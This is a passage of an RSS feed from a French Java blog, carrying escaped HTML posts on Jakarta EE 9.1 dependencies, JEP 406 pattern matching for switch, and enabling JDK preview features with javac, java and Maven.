&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;xml&quot;&gt;&amp;lt;dependency&amp;gt;
  &amp;lt;groupId&amp;gt;jakarta.platform&amp;lt;/groupId&amp;gt;
  &amp;lt;artifactId&amp;gt;jakarta.jakartaee-api&amp;lt;/artifactId&amp;gt;
  &amp;lt;version&amp;gt;9.1.0&amp;lt;/version&amp;gt;
&amp;lt;/dependency&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Dépendances Maven pour Jakarta EE Web profile 9.1&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;xml&quot;&gt;&amp;lt;dependency&amp;gt;
  &amp;lt;groupId&amp;gt;jakarta.platform&amp;lt;/groupId&amp;gt;
  &amp;lt;artifactId&amp;gt;jakarta.jakartaee-web-api&amp;lt;/artifactId&amp;gt;
  &amp;lt;version&amp;gt;9.1.0&amp;lt;/version&amp;gt;
&amp;lt;/dependency&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;implémentation_compatible&quot;&gt;Implémentation Compatible&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Voici la liste des implémentations qui sont compatibles à ce jour selon le profil considéré.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;jakarta_ee_9_1_platform&quot;&gt;Jakarta EE 9.1 Platform :&lt;/h3&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Eclipse Glassfish (6.1 RC1)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;ManageFish Server (6.1.0)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Open Liberty (21.0.0.3)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Wildfly (23.0.2)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;jakarta_ee_9_1_web_profile&quot;&gt;Jakarta EE 9.1 Web Profile :&lt;/h3&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Apache TomEE (9.0.0-M7)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Eclipse Glassfish (6.1 RC1)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Open Liberty (21.0.0.3)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Wildfly (23.0.2)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La liste actualisée est disponible sur le &lt;a href=&quot;https://jakarta.ee/compatibility/#tab-9_1&quot;&gt;site du projet&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;références&quot;&gt;Références&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://jakarta.ee/release/9.1/&quot;&gt;Jakarta EE 9.1&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://jakarta.ee/compatibility/#tab-9_1&quot;&gt;Jakarta EE 9.1 - Implémentation Compatible &lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://eclipse-ee4j.github.io/jakartaee-platform/jakartaee9/JakartaEE9.1ReleasePlan&quot;&gt;Jakarta EE 9.1 - Plan de version&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>JEP 406 Pattern Matching for switch (Preview)</title>
      <link>https://www.lilian-benoit.fr/2021/06/JEP-406-Pattern-Matching-for-switch-preview.html</link>
      <pubDate>dim., 6 juin 2021 00:00:00 +0200</pubDate>
      <guid isPermaLink="false">2021/06/JEP-406-Pattern-Matching-for-switch-preview.html</guid>
      	<description>
	&lt;div id=&quot;toc&quot; class=&quot;toc&quot;&gt;
&lt;div id=&quot;toctitle&quot;&gt;Table of Contents&lt;/div&gt;
&lt;ul class=&quot;sectlevel1&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#contexte&quot;&gt;Contexte&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#le_principe&quot;&gt;Le principe&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#gestion_de_la_valeur_nulle&quot;&gt;Gestion de la valeur nulle&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#pattern_switch_label&quot;&gt;Pattern &apos;switch label&apos;&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#expressoin_de_sélection&quot;&gt;Expressoin de sélection&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#la_dominance&quot;&gt;La dominance&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#la_complétude&quot;&gt;La complétude&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#classes_scéllées&quot;&gt;Classes scéllées&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#valeur_nulle&quot;&gt;Valeur nulle&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#filtrage_gardé&quot;&gt;Filtrage gardé&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#références&quot;&gt;Références&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;!-- toc disabled --&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;contexte&quot;&gt;Contexte&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Faisant suite à la &lt;a href=&quot;https://openjdk.java.net/jeps/394&quot;&gt;JEP 394&lt;/a&gt; sur le filtrage par motif pour &lt;code&gt;instanceof&lt;/code&gt;, nous avons la version du filtrage pour le &lt;code&gt;switch&lt;/code&gt;. Pour rappel, le filtrage par motif pour &lt;code&gt;instanceof&lt;/code&gt; permet la nouvelle écriture suivante :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;// Ancien code
if (o instanceof String) {
    String s = (String)o;
    // s est utilisable
	...
}

// Nouveau code
if (o instanceof String s) {
    // s est utilisable
	...
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Vous retrouverez plus d&amp;#8217;informations dans mon billet &lt;a href=&quot;/2021/03/JDK16-Nouveautes.html&quot;&gt;Billet sur les nouveautés de Java 16&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;le_principe&quot;&gt;Le principe&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Si nous avons des conditions imbriquées car il existe plusieurs types possibles. Nous obtenons le code suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;static String formatter(Object o) {
    String formatted = &quot;unknown&quot;;
    if (o instanceof Integer i) {
        formatted = String.format(&quot;int %d&quot;, i);
    } else if (o instanceof Long l) {
        formatted = String.format(&quot;long %d&quot;, l);
    } else if (o instanceof Double d) {
        formatted = String.format(&quot;double %f&quot;, d);
    } else if (o instanceof String s) {
        formatted = String.format(&quot;String %s&quot;, s);
    }
    return formatted;
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;objectif est de pouvoir utiliser un &lt;code&gt;switch&lt;/code&gt; (et même une expression &lt;code&gt;switch&lt;/code&gt; plus exactement).&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;static String formatterPatternSwitch(Object o) {
    return switch (o) {
        case Integer i -&amp;gt; String.format(&quot;int %d&quot;, i);
        case Long l    -&amp;gt; String.format(&quot;long %d&quot;, l);
        case Double d  -&amp;gt; String.format(&quot;double %f&quot;, d);
        case String s  -&amp;gt; String.format(&quot;String %s&quot;, s);
        default        -&amp;gt; o.toString();
    };
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt;Le code est concis et claire. Et c&amp;#8217;est cela qui est génial.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;gestion_de_la_valeur_nulle&quot;&gt;Gestion de la valeur nulle&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La valeur &lt;code&gt;null&lt;/code&gt; n&amp;#8217;est normalement pas autorisée pour un &lt;code&gt;switch&lt;/code&gt;. Il est nécessaire de le protéger. Cela donne généralement le code suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;static void testFooBar(String s) {
    if (s == null) {
        System.out.println(&quot;oops!&quot;);
        return;
    }
    switch (s) {
        case &quot;Foo&quot;, &quot;Bar&quot; -&amp;gt; System.out.println(&quot;Great&quot;);
        default           -&amp;gt; System.out.println(&quot;Ok&quot;);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous pouvons traiter simplement le cas de la valeur nulle avec le code suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;static void testFooBar(String s) {
    switch (s) {
        case null         -&amp;gt; System.out.println(&quot;Oops&quot;);
        case &quot;Foo&quot;, &quot;Bar&quot; -&amp;gt; System.out.println(&quot;Great&quot;);
        default           -&amp;gt; System.out.println(&quot;Ok&quot;);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cela fonctionne aussi si nous souhaitons traiter la valeur nulle avec une autre valeur.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;static void testStringOrNull(Object o) {
    switch (o) {
        case null, String s -&amp;gt; System.out.println(&quot;String: &quot; + s);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;pattern_switch_label&quot;&gt;Pattern &apos;switch label&apos;&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;expressoin_de_sélection&quot;&gt;Expressoin de sélection&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous pouvons une selection sur les types suivants :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Classes&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Enregistrements&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Tableau&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Cas par défaut&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Cas du &lt;code&gt;null&lt;/code&gt; cité plus haut.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;record Point(int i, int j) {}
enum Color { RED, GREEN, BLUE; }

static void typeTester(Object o) {
    switch (o) {
        case null     -&amp;gt; System.out.println(&quot;null&quot;);
        case String s -&amp;gt; System.out.println(&quot;String&quot;);
        case Color c  -&amp;gt; System.out.println(&quot;Color with &quot; + c.values().length + &quot; values&quot;);
        case Point p  -&amp;gt; System.out.println(&quot;Record class: &quot; + p.toString());
        case int[] ia -&amp;gt; System.out.println(&quot;Array of ints of length&quot; + ia.length);
        default       -&amp;gt; System.out.println(&quot;Something else&quot;);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;la_dominance&quot;&gt;La dominance&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;l&amp;#8217;exemple suivant ne fonctionne pas.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;static void error(Object o) {
    switch(o) {
        case CharSequence cs -&amp;gt;
            System.out.println(&quot;A sequence of length &quot; + cs.length());
        case String s -&amp;gt;    // Erreur -  Le filtrage est dominé par le motif précédent.
            System.out.println(&quot;A string: &quot; + s);
        default -&amp;gt; {
            break;
        }
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En effet, toute chaine de caractère sera par héritage une instance de &lt;code&gt;CharSequance&lt;/code&gt;. Donc le premier motif est aussi valable.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;la_complétude&quot;&gt;La complétude&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;exemple ci-dessous ne fonctionne pas.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;static int coverage(Object o) {
    return switch (o) {         // Erreur - incomplete
        case String s  -&amp;gt; s.length();
        case Integer i -&amp;gt; i;
    };
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En effet, tous les cas ne sont pas traités. Il faut à minima inclure le cas &lt;code&gt;default&lt;/code&gt;. Cela donne le code suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;static int coverage(Object o) {
    return switch (o) {
        case String s  -&amp;gt; s.length();
        case Integer i -&amp;gt; i;
        default -&amp;gt; 0;
    };
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;classes_scéllées&quot;&gt;Classes scéllées&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Avec les classes scéllées, nous pouvons tous énumérer. Dans ce cas, le cas default n&amp;#8217;est plus nécessaire.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;sealed interface S permits A, B, C {}
final class A implements S {}
final class B implements S {}
record C(int i) implements S {}  // Implicitly final

static int testSealedCoverage(S s) {
    return switch (s) {
        case A a -&amp;gt; 1;
        case B b -&amp;gt; 2;
        case C c -&amp;gt; 3;
    };
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;valeur_nulle&quot;&gt;Valeur nulle&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Normalement, la valeur nulle n&amp;#8217;est pas autorisé dans un &lt;code&gt;switch&lt;/code&gt;. Cela lève une exception de type &lt;code&gt;NullPointerException&lt;/code&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;static void test(Object o) {
    switch (o) {
        case String s  -&amp;gt; System.out.println(&quot;String: &quot; + s);
        case Integer i -&amp;gt; System.out.println(&quot;Integer&quot;);
        default  -&amp;gt; System.out.println(&quot;default&quot;);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour garder le comportement, cela équivaux au code précédent.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;filtrage_gardé&quot;&gt;Filtrage gardé&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;static void test(Object o) {
    switch (o) {
		case null      -&amp;gt; throw new NullPointerException();
        case String s  -&amp;gt; System.out.println(&quot;String: &quot; + s);
        case Integer i -&amp;gt; System.out.println(&quot;Integer&quot;);
        default  -&amp;gt; System.out.println(&quot;default&quot;);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;références&quot;&gt;Références&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/394&quot;&gt;JEP 394 Pattern Matching pour instanceof&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/406&quot;&gt;JEP 406 Pattern Matching pour switch (Preview)&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;/2021/03/JDK16-Nouveautes.html&quot;&gt;Billet sur les nouveautés de Java 16&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>JEP 12 Preview features (Aperçu)</title>
      <link>https://www.lilian-benoit.fr/2021/06/JEP-12-Preview-features.html</link>
      <pubDate>dim., 6 juin 2021 00:00:00 +0200</pubDate>
      <guid isPermaLink="false">2021/06/JEP-12-Preview-features.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div id=&quot;toc&quot; class=&quot;toc&quot;&gt;
&lt;div id=&quot;toctitle&quot; class=&quot;title&quot;&gt;Table of Contents&lt;/div&gt;
&lt;ul class=&quot;sectlevel1&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#contexte&quot;&gt;Contexte&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#le_principe&quot;&gt;Le principe&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#fonctionnement&quot;&gt;Fonctionnement&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#activation_à_la_compilation&quot;&gt;Activation à la compilation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#activation_à_lexécution&quot;&gt;Activation à l&amp;#8217;exécution&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#configuration_via_maven&quot;&gt;Configuration via Maven&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#configuration_declipse&quot;&gt;Configuration d&amp;#8217;Eclipse&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#références&quot;&gt;Références&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;contexte&quot;&gt;Contexte&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En s&amp;#8217;intéressant sur les nouvelles fonctionnalités du JDK, nous en voyons certaines en mode aperçu (preview).
Ce mode a été introduit en 2018 dans le JDK 12. La première utilisation a été pour les expressions switch (&lt;a href=&quot;http://openjdk.java.net/jeps/325&quot;&gt;JEP 325 Switch Expressions (Preview)&lt;/a&gt;).&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;le_principe&quot;&gt;Le principe&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;objectif est d&amp;#8217;apporter des nouveautés au niveau du langage, de la JVM ou l&amp;#8217;API Java SE. Le point important est que la fonctionnalité est &lt;strong&gt;complètement&lt;/strong&gt; spécifiée et &lt;strong&gt;complètement&lt;/strong&gt; implémentée mais pas de manière permanente. En effet, l&amp;#8217;objectif est de fournir la fonctionnalité en standard dans une prochaine version mais avant l&amp;#8217;équipe souhaite avoir un retour et des commentaires sur la fonctionnalité.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;fonctionnement&quot;&gt;Fonctionnement&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Par défaut, les fonctionnalités en mode aperçu sont désactivées. Il est nécessaire de rajouter le paramètre &lt;code&gt;--enable-preview&lt;/code&gt;. Les exemples ci-dessous sont pour un JDK 16.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;activation_à_la_compilation&quot;&gt;Activation à la compilation&lt;/h3&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;javac Programme.java                                // Pas d’aperçu activé &lt;b class=&quot;conum&quot;&gt;(1)&lt;/b&gt;
javac --release 16 --enable-preview Programme.java  // Tous aperçu du JDK 16 activés &lt;b class=&quot;conum&quot;&gt;(2)&lt;/b&gt;
javac --release 15 --enable-preview Programme.java  // PAS AUTORISE &lt;b class=&quot;conum&quot;&gt;(3)&lt;/b&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;colist arabic&quot;&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;par défaut, pas d&amp;#8217;aperçu activé&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;les aperçus Java 16 sont disponibles avec un JDK 16&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;les aperçus Java 15 &lt;strong&gt;ne sont pas disponibles&lt;/strong&gt; avec un JDK 16&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;Les aperçus pouvant évolués en fonction des retours. La JVM peut uniquement activé les aperçus correspondant à sa version.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;activation_à_lexécution&quot;&gt;Activation à l&amp;#8217;exécution&lt;/h3&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;java Programme                            // Pas d’aperçu activé &lt;b class=&quot;conum&quot;&gt;(1)&lt;/b&gt;
java --enable-preview Programme           // Tous aperçu du JDK 16 activés &lt;b class=&quot;conum&quot;&gt;(2)&lt;/b&gt;
java --enable-preview -jar Programme.jar  // Tous aperçu du JDK 16 activés &lt;b class=&quot;conum&quot;&gt;(3)&lt;/b&gt;
java --enable-preview -m Prg              // Tous aperçu du JDK 16 activés &lt;b class=&quot;conum&quot;&gt;(4)&lt;/b&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;colist arabic&quot;&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;par défaut, pas d&amp;#8217;aperçu activé&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;mode classpath avec le nom du programme&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;mode classpath avec une archive&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;mode module&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;configuration_via_maven&quot;&gt;Configuration via Maven&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Côté Maven, il faut passer les paramètre pour les plugins suivante :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;maven-compiler-plugin&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;maven-surefire-plugin&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;xml&quot;&gt;&amp;lt;plugin&amp;gt;
    &amp;lt;groupId&amp;gt;org.apache.maven.plugins&amp;lt;/groupId&amp;gt;
    &amp;lt;artifactId&amp;gt;maven-compiler-plugin&amp;lt;/artifactId&amp;gt;
    &amp;lt;version&amp;gt;3.8.0&amp;lt;/version&amp;gt;
    &amp;lt;configuration&amp;gt;
        &amp;lt;release&amp;gt;16&amp;lt;/release&amp;gt;
        &amp;lt;compilerArgs&amp;gt;--enable-preview&amp;lt;/compilerArgs&amp;gt;
    &amp;lt;/configuration&amp;gt;
&amp;lt;/plugin&amp;gt;
&amp;lt;plugin&amp;gt;
